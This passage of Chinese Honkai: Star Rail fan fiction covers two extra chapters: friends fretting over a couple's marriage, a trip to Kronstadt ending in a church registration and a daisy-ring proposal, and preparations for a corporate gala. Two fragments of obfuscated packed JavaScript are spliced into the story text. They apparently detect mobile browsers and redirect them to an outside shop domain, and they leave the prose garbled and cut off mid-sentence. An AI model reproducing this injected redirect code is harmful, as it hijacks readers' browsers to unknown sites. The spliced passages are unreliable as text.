又有人回复说:“偷偷说一句,我之前也想过这个问题。结论是没人敢给他们开证。”后面附了好几条链接:论坛之前讨论医师位格的帖子、讨论公司当前对于游侠微妙态度的帖子、还有一篇分析如果不撤销流放令对当前仙舟与绝境医师外交影响的加精帖。朽叶一条一条点开看完,发现这届水友的水平确实非同一般。 群里也同步炸锅了。 星作为狸狸报社社长,被普狸策进献了传说中由狸私藏的、连前任社长都不知道的、能进权限板块的账号,第一时间跳出来截图同步直播:“这篇帖子的回帖数量已经超过了上次鸽子自己发的那篇『我又相信父母爱情了』!这说明什么?说明全板块都在默默吃同一个瓜!” 三月七有点发愁:“可是他俩根本就不是不想结啊,是压根没想过需要这张纸。” 托帕说公司这边的琥珀级VIP已经是最高待遇,再往上只能把董事会主席的位置让给医师了。 景元忽然冒了出来,说他已经在准备戒指了。 托帕立刻追问:“什么材质的戒指?” 景元竟然没有打太极:“创世结晶,白珩不知道从哪里获得的,品质很好,她一直让我保管。” 真珠提出建议:“建议将戒指作为压轴方案,在获得明确信号后立即启用。根据现有概率模型,当前强行催婚的成功率依然低于百分之十五。” 穹探头:“当务之急不是婚戒,是有没有人先去跟那俩说一句‘你们要不要考虑领个证’。” 朽叶看着这些消息一条一条往上弹,觉得这个群与其叫“促进同盟”,不如叫“集体从心群”。 朽叶叹了口气,把自己催婚的遭遇原原本本地发了出来,连兰涯那句“我会考虑”都一字不漏地打了出来。 托帕立刻从修辞学角度切入:“根据我的经验,‘我会考虑’属于中性措辞,不代表正面回应,但也不代表拒绝。医师原话是‘我会考虑’而非‘我考虑一下’,说明她确实接收了信息并且在处理。” 三月七紧跟着问了一句:“那另一位的反应呢?” 朽叶如实回答:“他说我上班上疯了。” 波提欧发了个爆笑的表情,很快又撤回了。 丹恒破天荒地在群里发了一条消息,只有一个句号。全群因为这个句号安静了好一会儿,最后波提欧说连丹恒兄弟都看不下去了。 老日出来打圆场:“冥冥之中自有天意。”不知道的还以为他去玉阙仙舟进修了。 这天晚上,朽叶又坐在沙发里,客厅的灯开得很暗,只有手机屏幕的光照亮她为了KPI而疲惫的脸。 她打开论坛,看到鸽子大师的新帖正飘在权限板块最显眼的位置,标题是:『各位水友,今天我们来讨论一个问题:那两位什么时候结婚?』 帖子里详细列举了最近钓鱼佬目击到的所有细节:他们在步道上散步的频率比上个月增加了,贪贪最近捡了不下十颗新石子,那位左手的素戒至今还挂在中指。按理说感情这么稳定的情侣,挪到无名指的那一步就是迟迟没迈。 鸽子大师的结论依旧是一句话模式:『我觉得今年有希望,你们觉得呢。』 评论区高赞第一位的回复只有五个字:『我比他们急。』 而此刻,兰涯正靠在沙发上,刚刷完鸽子这篇热情洋溢的帖子和朽叶那篇被精确解密的求助帖。 屏幕还亮着,拉曼查低头看了好一会儿,抬起头,紫灰色的眼睛显得有些无奈。 “我们出去避避风头吧。”他说。 69.番外五·KPI(下) 喀琅施塔特星的恒星比哈托彼亚那颗略小一点,光线更温柔,整个星球有一种被旧照片滤镜包裹的暖意。 穿梭机的停机坪是新建的,候机厅的玻璃幕墙上贴着当地的旅游广告,上面画着橙花海岸的风车和一大片盛开的白色橙花,广告语写着“喀琅施塔特欢迎您”。 拉曼查站在广告牌前面看了一会儿,然后回头看了看兰涯。她已经把宠物箱拿下来了,立在脚边,贪贪在宠物箱里往外探头探脑。 “走吧。”他说。 他们并肩走出航站楼时,迎面吹来的风带着一股很淡的清雅甜香。 兰涯侧过头看了他一眼。他今天没有戴帽子,头发被风吹得有些凌乱,紫灰色的眼睛一寸一寸地丈量这片土地,像一个离家太久的人,既认得又不认得。 “变了多少?”她问。 他沉默了一会儿才说:“不认识了。” 停机坪外面的主干道是新铺的沥青路面,两侧的行道树刚移植过来没几年,树干还绑着固定用的支架。 一辆白色公交车慢悠悠地靠站,车上只有几个当地居民,有人拎着刚买的蔬果袋,有人靠在窗边打盹,他们坐到了最后一排。 从车窗望出去,能清楚地看到这片土地的新貌。 喀琅施塔特星曾经是“诛罗培植爪牙的魔窟”,在绝灭大君诛罗的统治下被改造成了一座巨大的斗兽场。所有活着的生物都是储备的武器,只有打赢了的人才能活下来成为诛罗麾下合格的杀戮机器。 但现在的喀琅施塔特,看不到任何战火的痕迹。远处的山丘覆盖着整齐的农田,沿路的村庄外墙是米白色的,屋顶上铺着当地特有的红陶筒瓦。田间种着大片橄榄树和柠檬树,几个戴着草帽的农人在弯腰劳作。垦荒者们用了好几代人的时间,把一颗死去的星球重新种活了。 公交车在一个小站停下来,他们下了车。 贪贪从箱子里解脱出来,一溜烟窜进前面的草坡,又被拽回来。 车站旁边是一片缓坡,坡上覆盖着厚厚一层野草和低矮灌木,野草中间隐约能看到几截断裂的石柱,柱表面爬满了苔藓和牵牛花。再往远处看,还能辨认出一段圆弧形的残墙,墙体已经塌了大半,剩下的部分被藤蔓完全覆盖。 拉曼查站在坡脚下,仰头看着那片废墟。 “这里以前是一座斗兽场。”他说,“诛罗把全星球的青壮年集中到这里,分批关进铁笼。每一批只能活一个。活下来的那个人会被带到下一个笼子,和下一批的幸存者继续打。打到最后一个,就是合格的爪牙。” 他没有说那些青壮年里包括谁,她也没有问。 风把坡上的野草吹得沙沙响。 “我在这里站过很久,当时这里还没有草,只有烧焦的土壤和铁笼的碎片。我那时候想,这颗星球大概不会再活过来了。” 他弯下腰,从草丛里捡起一小块石头,用手指擦了擦上面的泥土。那是一块暗红色的岩石碎片,边缘已经被风化了,但还能看出来一面有极细微的金属光泽。 他把石头放回原处,站起来,转过身看着兰涯。 “现在它活了。走吧,去下一站。” 下一站是城市。 他们重新上了公交车,穿过几片农田和一片新建的工业园,在城市中心下了车。 拉曼查站在十字路口,左右看了看,然后朝左边那条巷子走去。兰涯抱着贪贪跟着他走进巷子的时候,注意到他的步伐比平时慢了不少,他每走一步都在辨认。 巷子尽头过了一条河,是一片面积不小的居民区,几栋楼围着一块空地,空地上有小孩用粉笔画出来的跳房子的格子。 一只橘猫蹲在二楼的窗台上大橘为重地打瞌睡。 他站在这片居民区前面,沉默了很久。一个小男孩从楼里跑出来,差点撞到他腿上,说了声对不起又跑远了,他看着那个小男孩的背影。 “我家,以前就在这里。”他说。 领主的宅邸,曾经是这颗星球最显赫的建筑,领主就住在现在已经不是护城河的河流所围绕的这块土地上。 他还有好几个发小,在这里奔跑着、玩耍着成长,直到诛罗的到来,把一切夷为平地。 他站在原地,仰头看着其中一栋陌生的楼。楼上的某扇窗户开着,窗帘被风吹得鼓起来。 “走吧,以前的东西都看不到了。但是新的东西,也挺好的。” 橙花海岸在陆地西边,是由橙树、柠檬树与农田、民居相间形成的一百多公里美丽的海岸线。 这里的橙树和柠檬树的树干都不高,枝丫横向伸展,树冠连成一片绵延的绿色长廊,一直铺到海滩边缘。 正逢花期,白色的橙花热热闹闹地在枝头开会。空气中弥漫着一股清雅的甜香,混着海风的咸味,令人自在。 拉曼查找了一棵最大的橙树,把带来的野餐布铺在树荫下。野餐布是旁白出发前塞进他行李里的,上面印着狸狸报社的LOGO。 他一样一样往外拿刚才买的食物。先拿出来的是一个陶罐,罐口封着薄薄一层锡纸,揭开之后热气裹着浓郁的香气扑面而来。海鲜饭被藏红花染成了金黄色,米饭粒粒分明,上面铺着大虾、青口贝和鱿鱼圈。 然后是当地名为gazpacho的冷汤,有着清爽的番茄和黄瓜的味道,配合烤脆的面包,特别容易上头。 他还买了用橡树果实喂养的黑猪肉做成的生食火腿,片得极薄,在阳光下闪闪发光,旁边配着几块切好的蜜瓜。他把火腿片铺在蜜瓜上,问她知不知道橡树果实是什么味道。 兰涯说不知道。 “贪贪肯定知道,它的零食成分表里就有橡果。下次给它喂蜜瓜试试,说不定能配出什么新口味。”他好像已经在认真思考可行性了。 贪贪不满地汪了一声,似乎在表达自己不是黑猪。 最后拿出来的是一瓶橙花气泡酒,瓶身还挂着冰镇后残留的水珠。气泡酒度数不高,第一口下去几乎感觉不到酒精,只有清甜的橙花味和细腻的气泡在舌尖上轻轻炸开。 橙花落在她的杯沿上,她还没伸手去拿,他自己先扬起嘴角,把花瓣拈掉,把自己的杯子碰过来。 橙花继续飘落,落在头发上,他偏过头看着她,说她现在看起来像老奶奶。她回了一句,他也是老爷爷。 风从海面吹过来,把整片橙树林吹得哗哗作响。 白色的花瓣纷纷扬扬地落下来,他没有动,只是看着她。 然后他低下头,带着橙花气泡酒的清甜,吻住了她。 这颗星球曾经被摧毁得只剩下灰烬和铁笼碎片,现在却把最温柔的季节和最安静的海岸,给了两个头发上落满花瓣的人。 他们住进了海边一家用火山岩砌筑的独栋民宿。民宿不大,两层楼,外墙面是暗黑色的火山岩,里面则是米白色的手工抹灰墙。拱形窗框外还有铁艺花架,攀着几株还没开完花的藤蔓。屋顶铺着红陶筒瓦,院子围墙上几朵雏菊从岩缝里探出来,很有氛围感。 拉曼查站在玄关,环顾整个房间。所有这些都让他觉得很熟悉,似曾相识,但并不是完全一样。 贪贪才不管那么多,刚获得自由就冲向海滩,很快叼回来一颗圆润光滑、带着半透明条纹的鹅卵石。后来它在橙花海岸的这一周,最大的收获是深刻认识到这里的鹅卵石比海原市的要遥遥领先得多。 他们每天早上起来,吃过饭后便沿着海岸线走走停停,看海浪冲刷礁石,看远处风车缓缓旋转。 沙滩上偶尔有当地居民遛狗经过,彼此微笑致意,没有人停下来打量他们,没有人认出他们是谁。 回来后,兰涯在院子里的藤椅上泡一壶本地的橙花茶。拉曼查在旁边整理贪贪今天的收获,他已经学会分辨哪种鹅卵石值得带回家哪种不值得,并在旁边为最优选的石子单独辟出一个精品区。 贪贪蹲在精品区旁边,一脸严肃地监督他评审。 这一天他们去礁石区钓鱼。兰涯钓上来一条不大不小的海鲈,拉曼查蹲在礁石上就地处理,用自带的小刀去鳞去内脏,再用海水冲洗干净,说这比海原市海滨步道上那个钓鱼空军佬不知道高到哪里去了。 回到厨房,他找了柠檬和本地一种闻起来有松子和柑橘味的香草,把鱼裹进锡纸包腌好,平底锅加了一丁点儿水隔着锡纸焖烧。 他们还发现了民宿边上原来有个小菜园,民宿主人说住客可以自己采摘做菜用,于是就摘了几颗番茄和一些罗勒叶,顺便采了一把雏菊回来插在桌上的水杯里。 雏菊是喀琅施塔特最常见的野花。拉曼查把花茎折成合适的长度,插在小花瓶里,又顺手分出一小把放在床头。 “你小时候经常摘这种花?”兰涯好奇地看着桌上的雏菊。 “编各种各样的东西玩。”他把番茄切成薄片,罗勒叶叠好切成细丝,刀工利落,每一丝厚薄均匀,“我母亲教我的,她的手很巧。” 把切好的番茄放进装了布拉塔奶酪的盘子里,撒上罗勒丝,淋了一点橄榄油和本地海盐,然后他转过身看着兰涯,“你想学的话,我可以教你。” 她的确很想学。 他伸手从花瓶里抽出一朵雏菊,先把花茎最柔软的一段用指甲压平,把花茎轻轻绕在她无名指上,一圈,两圈,交叠扣住,雏菊便立在指环中央。 兰涯低头看着无名指上那朵白色小花。 “这个算是学会了吗?” “不算,这是我编的。你要自己试一次。” 于是她从花瓶里抽出一朵新的开始认真模仿,他把手伸过去让她在自己无名指上反复练习。 在橙花海岸的又一个早晨,他们带上贪贪沿着海岸线往北走。 昨天是往南,沿着沙滩一直走到那片礁石区钓鱼。今天是往北,穿过橙树林,沿着缓坡往上,途径一个当地的小型市集。 贪贪对着一个卖甜橙酱的摊位摇短尾巴,把摊主逗得笑弯腰,两人买了一瓶甜橙酱,又被边上的手工酸奶吸引。 越过市集再往上的缓坡,有一棵孤零零的老橙树,树冠宽大,橙花正盛开着,草地上落满了厚厚一层白色花瓣,像是下过一场雪。 他靠在树干上看着她,风把她的碎发吹乱,一如当年在诛罗战场第一次见面时那样,那时他站在蹲着的她前面,她抬起头看他,因为不眠不休了很久,她完全没发现自己的碎发在额头上乱糟糟的。 “你在想什么?”兰涯问。 “没想什么。”他说,然后把手里那个刚才从市集上买来的甜橙酱打开,挖了一勺混合手工酸奶喂给她,自己也吃了一口。 属于这颗星球的甜味在这棵老橙树的树荫下被无限放大。 民宿主人是个好脾气的垦荒者后代,傍晚时分,送了瓶自己酿的橙花气泡酒过来,还有一份新鲜的立帆贝。 于是今晚除了土豆烘蛋饼,还多了一份黄油香草煎立帆贝,他看着她试吃了第一口。 “好不好吃?”他每次做新菜都会这么问,甚至还拿了本子专门记调味分量,以测量自己的味觉程度。 她认真地点了点头:“咸味和鲜味都正好。” 他们干脆把菜和气泡酒端到院子里,拉曼查还利用橙花气泡酒混合红酒、新鲜水果调制了一扎桑格利亚汽酒。这是他对于家乡记忆中的味道,带着令人愉悦的酸甜香气的酒体有着血一样的深红色,但入口非常清爽,酒精度也不高。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549961|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两个人就着海风碰杯,直到橙花海岸的落日把天空渲染成一整片粉色。 贪贪在鹅卵石精品区旁边把自己卷成一个黑芝麻味的毛球,已经睡着了。 他们在民宿的最后一天,沿着海岸线闲逛走到了风车脚下的那座小教堂。 教堂建在一片缓坡上,风车在它背后缓缓旋转,外墙用当地火山岩砌成,长满了青苔。 门敞开着,里面没有其他人,只有一位老神父戴着老花镜正蹲在长椅旁边整理赞美诗集。 神父看到他们进来,站起来拍了拍膝盖上的灰。 “你们来得正好,年轻人。”神父把手里那本赞美诗放在长椅上,朝教堂穹顶的方向指了指,“下周预报有大雨,屋顶的瓦片该换一批了。我一个人搬梯子不太稳当,你们愿意帮把手吗?” “当然可以。”拉曼查挽起袖子。 神父搬出木梯,虽然有些旧了,但本身还很结实。 拉曼查把梯子架在教堂外墙上,试了试稳固程度,然后踩着梯子上了屋顶。 瓦片就是本地的红陶筒瓦,和他小时候外婆家里老宅屋顶上的那种一模一样。 他蹲在屋顶上,把旧瓦一片一片揭开,顺着梯子递下来。兰涯站在梯子旁边接过旧瓦,再递给站在地面的神父。 “你这位先生手脚很利索。”神父把旧瓦码进墙角的木箱里,老人家直起腰缓了口气,“垒筒瓦的手法很专业。” 兰涯抬头看着屋顶上的拉曼查,他正把一片新瓦对准落槽压进去,阳光照在他玄青色带着些许灰白的头发上。 “他是本地人。”她说。 屋顶上的手停了一下,拉曼查左手按着瓦片边缘,低头往下看。神父正仰着脖子望着他,他沉默一下才开口:“是,只是离开了很多年。” “难怪。”神父点了点头,没再追问别的,把新瓦递上去的动作也没有停顿。 屋顶的瓦很快就修完了,神父招呼他们进来喝茶歇一歇:“这么热的天,不能白让你们干活。” 红茶很浓,带着一点本地蜂蜜特有的微甜橙花香。 神父喝完半杯茶,靠在椅背上看着他们两个,忽然站起来走到角落里翻找了一阵,拿出一本用羊皮纸订成的登记册。 册子边缘泛黄,封面上用端正的本地文字写着“风车教堂婚约及民事登记簿”。 神父把登记册放在桌上,翻到最新的一页。 “之前有两个垦荒家庭,在教堂刚翻修完的时候来登记了。”神父说,“我们这里是一切从简,不要求一定要是本地户籍。只要能来,愿意写个名字,教堂就能给你们登记。” 他停顿了一下,透过老花镜的上缘看着他们。 “所以,你们想要吗?” 兰涯看着那本摊开的登记册,她侧过头,拉曼查正看着她,她什么也没说,把视线转回神父:“好。” 神父从抽屉里拿出一支钢笔,拧开笔帽,在登记册最新一页的左上角先写下了当天的日期,喀琅施塔特本地历法的日期和星际标准历法略有不同。 他把笔递给兰涯,她接过笔,低头在纸上工整地签下了自己的名字。然后把笔递给拉曼查,他在她名字旁边签下了他的名字。 神父看了看两个名字,合上登记册,说了句祝福的话,又和他们握了手。 贪贪蹲在长椅上,乌溜溜的眼睛看看兰涯又看看拉曼查,高兴地汪了一声。 从教堂出来之后他们沿着来时的路慢慢往回走,贪贪叼着一颗从教堂院子里捡的新鹅卵石颠颠地跑在最前面。 他忽然开口:“觉得挺神奇的。” “我也觉得。”兰涯说。 他们从来没想过这件事,在一起就是在一起了,不需要大张旗鼓。 但刚才签下名字的那一刻,这件事忽然变得很神奇也很真实。 过了好一会儿,侦探先生忽然站住,把左手摊开看了看自己中指上那枚素戒,然后抬起头,大脑回路似乎又开始转到奇怪的地方去了:“我觉得自己这样,算是正式有名分了,从他们中脱颖而出。” “他们?”兰涯也停下来。 “那些单推,那俩把你当妈妈又当翅膀的小浣熊,那群姑娘们,阿哈为首的那些——”他顿了顿,“太多了。” 兰涯露出无语的眼神,她低头看了看他左手上那枚素戒:“戒指是不是又要挪位置了。” 他把素戒从左手中指上取下来,在夕阳下看了几秒,然后重新稳稳地套上无名指。 然后他去看她的手,她无名指上还是空空的,他一下子慌张了。 他转头看向路边,灵光一闪,摘下一朵最靠近手边的雏菊,把花茎最柔软的一段用指甲轻轻压平,绕成刚好能贴合她无名指弧度的指环,交叠扣住,雏菊立在中央。 然后他单膝跪在她面前,牵过她的手,暮光把他紫灰色的瞳孔照得透亮。 “你愿意和我结婚吗。” 事已至此,已经无需使用问号,但是仪式感很强的他还是想要完成这套流程。 她低头看着那枚雏菊戒指,白色花瓣被夕阳染成暖金色。 “我愿意。” 然后他站起来,低头吻住她,无名指上的玄色素戒和无名指上那枚雏菊轻轻碰在一起。 朽叶是在第三天中午收到系统推送的。 一份跨星系婚约登记副本,登记地点喀琅施塔特星橙花海岸风车教堂,签名为兰涯、拉曼查。 她把茶杯放在鼠标垫旁边,又拿起了茶杯,又放下,发了好一会儿呆。 自己的KPI完成了。 现在,马上,立刻,自己要申请休假,抚慰长期以来被KPI造成的工伤。 70.番外六·启程 克里珀又一次挥下了锤子。 由于克里珀挥锤的间隔不定,因此每一琥珀纪的长度并不固定,但作为琥珀纪新一次纪年,星际和平公司照例要举办一次琥珀纪年会。 战略投资部和传统项目部共同承担了本次年会的筹备工作。 兰涯先是收到钻石寄来的手写年会邀请函,在她收件的那一刻,电子版的邀请函也跟着从手机邮件里跳出来,这位存护令使做好了两手准备。 钻石亲自录了一段全息影像,措辞极其客气,从“尊敬的医师”一路说到“您的出席将是庇尔波因特的荣幸”,结尾还附了一个笑脸表情。兰涯看完,把全息投影关掉,手机倒扣在茶几上,端起咖啡杯。 拉曼查从厨房流理台探出头,围裙还系在腰上,手里握着锅铲:“怎么了?” “钻石邀请我去公司年会。”兰涯说。 “你想去吗?” “不想,多麻烦。” 拉曼查的声音和翻面的滋啦声一起从厨房里飘出来:“那就回掉。” 兰涯刚拿起手机准备打字,钻石的第三条消息已经弹出来了。 这次的语气比邀请函更急切一点,显然是在担心她真的不来。 “医师,本次年会并非普通社交活动。黑塔女士和螺丝咕姆先生已确认出席,仙舟玉阙的爻光将军也将莅临。我们还准备了琥珀王晶壁碎片的特别研究展示,黑塔女士特别提到希望能与您一同观摩。” 兰涯的手指悬在屏幕上方,盯着“黑塔女士和螺丝咕姆先生已确认出席”这行字看了一会儿,然后给黑塔发了条消息:“你要去公司年会?” 黑塔几乎是秒回:“本来不想去。钻石说这次有琥珀王上次被劈开后晶壁的碎片当研究材料。你去不去?去的话我俩约一个,正好关于细节想问问你。” 主刀医师陷入了沉思。 星际和平公司内斗目前呈现一种微妙的状态,显然公司最高层既不愿意看到奥斯瓦尔多、亚婆离、钻石中任何一人打破权力的互相制衡,也不愿意看到因为内斗影响到了存护命途的纯粹性,这种既要又要的心理,才会导致最终承办年会的不止是战略投资部,还加入了传统项目部。毕竟传统项目部主管在田,是能让公司各大派系在他这里休战的存在。 上次劈墙后的结果让钻石欠自己的不止是人情那么简单了,再叠加这次钻石的邀请,显然还有一层拿她来为战略投资部增加砝码的意味。攻守之势异也,那钻石就得像翡翠女士说的那样,想要获得什么,就要付出代价。 拉曼查端着两盘松饼从厨房走出来,把其中一盘放在她面前的茶几上,看到她脸上的表情:“你在纠结。” 兰涯端起松饼,拿起叉子:“黑塔想约我一起去看琥珀王晶壁的碎片。飞船轨道损毁后迟迟没有修复,估计也和这有关。” “所以你要去?”拉曼查在她旁边坐下,拿起自己那盘松饼。 “我在想。”兰涯叉起一小块枫糖松饼放进嘴里,咀嚼,看着身边这位和一众游侠都荣幸登上过公司通缉名单的先生往松饼上涂黄油。 然后她灵光一现,还没开口,拉曼查似乎已经从她的表情中得到了答案。 “决定参加公司年会,那就需要一件新裙子。”这位设计师先生发言了,语气非常笃定。 兰涯侧过头看着他。 这位曾经逗弄银狼说自己不打游戏的家伙,其实有一个全图鉴的无限暖暖顶级账号,建立在每次抽卡大保底的惨痛事实上。 拉曼查记得兰涯的每一件衣服。这个习惯是从什么时候开始的,他自己也说不清。 那件素色袍子和风衣,他后来才知道是黄泉带她去买的。彼时她刚从虚无深渊被黄泉拉回来,连自己喜欢什么颜色都不知道。 然后就是充满仙舟姑娘们心意的那套黑蓝银渐变常服,也是她穿得最多的一件。 连白珩上岛的时候,都会带给她自己在某处星球买的感觉很好穿的衣服。 这件事逐渐发酵到某一天在冰柜里睡到一半时惊醒,反正让他很介意。 于是他去了这里最大的书店,把各种图鉴和当季的设计师品牌独立刊物全部扫了一遍,抱回事务所的时候纸袋底都快撑破了。 旁白正在整理案件笔记,抬头看到他从纸袋里掏出一本《匹诺康尼晚装季刊》,又掏出一本《仙舟传统服饰图鉴》,再掏出一本《无限暖暖联动限定设计集》,铅笔停在半空中,字正腔圆的旁白音带上了极其罕见的困惑:“侦探先生,你这是打算改行当时装设计师吗?” 侦探先生把设计师杂志往桌上一摊,面不改色地说:“研究证物。” 因为联动限定设计集的关系,他顺利入坑无限暖暖,旁白经常看到他正用手指小心翼翼地在屏幕上调整特效调色,紫灰色的眼睛专注得像在分析案发现场的血迹溅射轨迹。 “侦探先生,你是在查案还是在玩换装游戏?”旁白的声音带着一种已经放弃挣扎的认命。 “我在做正经研究。”他说。 无关紧要的文件能在桌上、地上堆成了一片浮脂飘零年代至今的沉积岩。但是抽屉里厚厚的一沓图纸,得时刻锁死。 他画的款式越来越多,仙舟风格的被他改良过好几版,袖口收得太紧怕不舒服,放得太松又觉得不够精神;匹诺康尼晚礼服那套画完他就自己否掉了,理由是“裙摆太长,跑起来不方便”;还有一套是受二相乐园本地复古风潮启发设计的套装,画完之后他对着草图端详了很久,觉得好看但不够特别,也作废。 最满意的那套设计稿是在某个深夜定下来的。斗篷大衣式剪裁的马术服,整体采用深灰与暗蓝交织的粗花呢材质,肩部微微上提,收腰处理得很干净,从腰线往下展开长度及膝的斗篷式后摆,既保留了骑装的利落又带着一点不太刻意的张扬。 很适合活动,也很适合静坐,带点他家乡的风格。 衣服是托人定制完成的。他没找二相乐园的裁缝,这里的裁缝嘴巴太大,什么都敢往网上发。他找的是一位已经不怎么接单、隐居在边境矿业带的老裁缝。 尺寸他亲手标注,别问他是怎么知道的,问就是看出来的。 拿到成品后,他把它藏进了角落。 然后就没有然后了。 一开始他总觉得没有合适的时机,接着就是贪饕之战时那套神装。 后来在网上和FES活动上看到单推为爱发电,甚至画了极其精美的同人柄图,他承认自己心里又骄傲又别扭。 总而言之,那套神装太完美了,把他的审美阈值拉得过高,让他觉得自己的设计稿永远可以改改,再改改。说得直白一点,他怕自己设计的衣服配不上她。 直到后来的某天,两人一起打扫事务所这个小隔间。 积极工作的贪贪扭着圆圆的身体从角落里拖出来一个大盒子,包装纸完好无损,缎带甚至还是新的,系成一个很标准的蝴蝶结。 兰涯蹲下去,手指轻轻拉了拉蝴蝶结的尾端,抬头看着站在旁边整个人像被终末时针拉走一回合的拉曼查。 “包装很专业。”她说,声音里带着饶有兴趣。 兰涯拆开包装,粗花呢的质感意外的柔软,斗篷下摆收线收得干净利落。 “你设计的?”她把衣服抱起来,衣料垂在她手臂上,长短刚好。 “嗯。”手杖在地板上支着一个点,无意识地晃着,当他紧张的时候就会这样。 “什么时候量的尺寸?”她提着衣服在自己身上比了比,发现肩线袖口腰围全都严丝合缝。 他沉默了一会儿,如实交代:“目测。” 这么多年来盯着看的经验确实不算精密工具,但他对此非常有自信。 “很好看,我很喜欢。”她笑道,“侦探先生不如转行当设计师,比用直觉查案有前途。” 紫灰色的眼睛里有什么东西腾地一下亮起来。 于是,设计师先生正式上岗。 他把无限暖暖顶级玩家的热情都用在他认为该用的地方了。 比如编头发。 兰涯其实并没有留意他脑袋后面的编发是怎么来的,因为每天她起来的时候,他已经全部收拾好了。直到某一个赖床的周末早晨,她路过浴室,他正好背对着她整理头发。玄青色的长发披在肩上,发尾大概是洗脸的时候被打湿了,微微贴在后颈上。但再往上看,后脑偏右的位置,有一缕红色挑染的头发被极其精致地编成了一小股辫子,贴着后脑勺的弧度往后延伸,用一枚双月形的发夹收住。 “你头发上那个编发,是你自己编的?” 拉曼查把后颈上的水擦干,直起腰,从镜子里看了她一眼,说最早是旁白编的,后来自己学会了。说到这里,他把毛巾搭在架子上,语气变成了某种跃跃欲试的兴奋:“我给你也编一个。” 兰涯的头发平时处理得非常简单,把头发拢到脑后,盘两圈,扎紧,用双针一插,就好了,实用,不需要任何审美。但今天闲来无事,她看着他眼睛里的期待,点了点头。 拉曼查几乎立刻就把她拉到椅子上,先用手指把她的头发从前往后梳顺,力道很轻,从发根到发尾,每一寸都确保梳通。然后把她的头发分成几缕,从两侧各挑出一小股编成极细的辫子,在后脑勺偏下的位置汇合,交叉,盘起,用皮筋固定住发髻,最后把两枚针一左一右插入,和她平时的扎法完全不同。 她从镜子里只看得到正面,头发还是披着的。直到他把她拉到穿衣镜前,让她侧身,才看到后面那精致的构造。 兰涯端详了片刻,评价:“还不错。” 当天下午她就顶着这个头发去和朽叶喝下午茶了。 朽叶前些天发消息说新发现了一家咖啡店的甜点做得特别好,正好是休息日,请她一起去探店。 根据设计师先生的强烈要求,她换上了上次他新定制的长裙。说是长裙,其实更接近帝政风的高腰线设计,衣料上交织着无尽夏提花,领口开得很克制,腰线往上收,走动时裙摆有细碎的光,像海原市波光粼粼的绣球花季。 朽叶比兰涯先到,坐在露天座位上正翻菜单,看到她进来,把菜单放下,从头到脚把她看了一圈,什么都没说,只是笑意加深了几分。 下午茶非常愉快,朽叶点了招牌的芝士蛋糕和手冲咖啡,两个人坐在遮阳伞下聊了好久。 朽叶推荐了她最近看的一本推理小说和一部剧,说这部剧的服装设计很有翁法罗斯风格,剧情也很优秀,闲暇之余可以看看。 兰涯听着听着就忘了自己今天穿了新衣服换了新发型,只觉得海原市的海风吹得很舒服,咖啡豆烘得恰到好处,比姬子的咖啡好喝。 分别时两个人沿着海边步道往车站方向走了一段,朽叶忽然放慢了步子。不远处,步道的尽头一个人正靠着栏杆朝向她们的方向,红白斗篷被海风吹起来,手杖点地。 朽叶停下来,朝她眨了眨眼:“今天从头发到衣服,一看就是某位侦探精心打扮的。” 兰涯惊讶:“这都看得出?” 朽叶故作神秘地把食指竖在唇边,像是发现了一个重大机密,然后挥挥手,往车站走去。 就这样,在她自己本人没有察觉的情况下,衣柜里莫名其妙地悄悄出现了一件又一件衣服,而且每件衣服似乎都被提前标好了适宜的场合。 回到年会的着装问题,兰涯本人默认,哪怕自己穿个麻袋去庇尔波因特,那里也会睁眼说瞎话,能吹则吹。 设计师先生坚持了自己的原则,他说前阵子定制了一件晚礼服长裙,参照了翁法罗斯和匹诺康尼两种元素的融合。 然后他把这件套着防尘袋的裙子从衣柜深处拿出来:“试试。” 兰涯换上它之后站在穿衣镜前,低头看了看裙摆垂坠的弧度。他设计时显然参考了翁法罗斯的那位金织女士,以及匹诺康尼的长款礼服,两侧肩头各用一枚暗银色的月桂枝扣住,手臂和肩颈的线条干净地露出来。皓白与银灰交织的衣料,从腰线往下开始渐变出极淡的钴蓝,最后在裙裾边铺成一片深邃的苍穹。走动时裙摆在身后飘逸,不会绊脚,但足够让人想起某种降临。 他靠在衣柜旁边,双手抱在胸前,紫灰色的眼睛从她的肩头一路滑到裙摆,带着点得意:“我想来想去,只有这一件能配得上你出席那种场合。” 兰涯点点头,问他打算穿什么。 他显然是早有准备,从自己那半边衣柜里立刻拎出了一套与她衣裙完全相衬的深蓝西装,领口袖口镶着银灰色的边。 年会当天,庇尔波因特的港口被布置成一片流动的琥珀色光海。公司的标志以全息投影的形式悬在上空,缓慢旋转,照亮了下面穿梭往来的宾客。 每一个人都穿着正装,手里端着香槟杯,脸上带着恰到好处的社交笑容。星际和平公司的年会,向来都是整个宇宙所谓的“精英阶层”最集中也最无聊的场合。 星舰还没降落之前,拉曼查突发奇想:“如果趁此机会对着庇尔波因特使用虚数坍缩脉冲,那岂不是能一锅端了。” 那可太地狱了,纳努克听了都说好。 兰涯把贪贪塞到他手上:“想法很不错,人类越认识世界,就越能毁灭世界,所以节制是必须的。” 兰涯和拉曼查从特别通道进入会场时,门口负责迎宾的工作人员低头看了一眼平板上的访客名单,又抬头看了看兰涯绝无瑕疵的装束,看了看她旁边那位优雅至极的男士怀里抱着的那团黑色毛球,又低头看了看平板上跳出的红色通缉警告,最后默默地让开了。 贪贪趴在拉曼查臂弯里,乌溜溜的眼睛好奇地打量着周围,短尾巴轻轻扫着。它原本要被兰涯要套个领结,可两个人上下研究了半天没有研究出贪贪的脖子在哪儿,遂放弃。 兰涯说今天不能让它乱跑,万一跑到餐饮区把整桌食物都吞了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 